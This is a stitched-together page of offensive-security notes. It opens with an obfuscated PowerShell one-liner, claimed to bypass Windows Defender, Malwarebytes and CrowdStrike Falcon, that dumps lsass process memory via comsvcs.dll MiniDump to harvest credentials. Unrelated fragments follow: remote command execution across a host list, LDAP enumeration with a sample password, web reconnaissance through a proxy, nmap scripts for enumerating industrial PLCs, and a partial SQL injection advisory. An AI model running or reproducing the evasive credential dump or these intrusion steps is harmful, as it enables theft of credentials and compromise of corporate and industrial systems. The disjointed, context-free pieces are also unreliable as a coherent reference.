Historically was able to (and may presently still) bypass:
* Windows Defender
* Malwarebytes Anti-Malware
* CrowdStrike Falcon EDR (Falcon Complete + OverWatch)

&$env:???t??r???\*2\r[t-u]???[k-l]?2* $(gi $env:???t??r???\*2\c?m?[v-w]*l | % {
$_.FullName }), `#-999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999
999999999999999999999999999999999999999999999999999999999999999999999999999999
99999999999999999976-decoy $(gps l?a*s).id c:\t??p\dmp.log full;

Invoke-Command -ComputerName $(Get-Content comps.txt) -ScriptBlock {ipconfig}

sudo ldeep ldap -u reguser -p 'Password123' -d domain.ltd -s ldap://192.168.0.147 subnets

./httpx -l hosts.txt -silent -o res.txt [-http-proxy socks5://127.0.0.1:1337]
cat res.txt | ./aquatone [-proxy socks5://127.0.0.1:1337]

    BACnet-discover-enumerate.nse - Identify and enumerate BACnet devices

    codesys-v2-discover.nse - Identify and enumerate CoDeSys V2 controllers

    enip-enumerate.nse - Identify and enumerate EtherNet/IP devices from Rockwell Automation and other vendors

    fox-info.nse - Identify and enumerate Niagara Fox devices

    modicon-info.nse - Identify and enumerate Schneider Electric Modicon PLCs

    omron-info.nse - Identify and enumerate Omron PLCs

    pcworx-info.nse - Identify and enumerate PC Worx Protocol enabled PLCs

    proconos-info.nse - Identify and enumerate ProConOS enabled PLCs

    s7-enumerate.nse - Identify and enumerate Siemens SIMATIC S7 PLCs

Affected and fixed version/s:
* 6.0.0 - 6.0.27 / 6.0.28rc1
* 6.4.0 - 6.4.12 / 6.4.13rc1
* 7.0.0alpha1 - 7.0.0beta1 / 7.0.0beta2

Allows to dump any values from database. As an example of exploit above allows privilege escalation from user to admin. In some cases, SQL injection leads to RCE.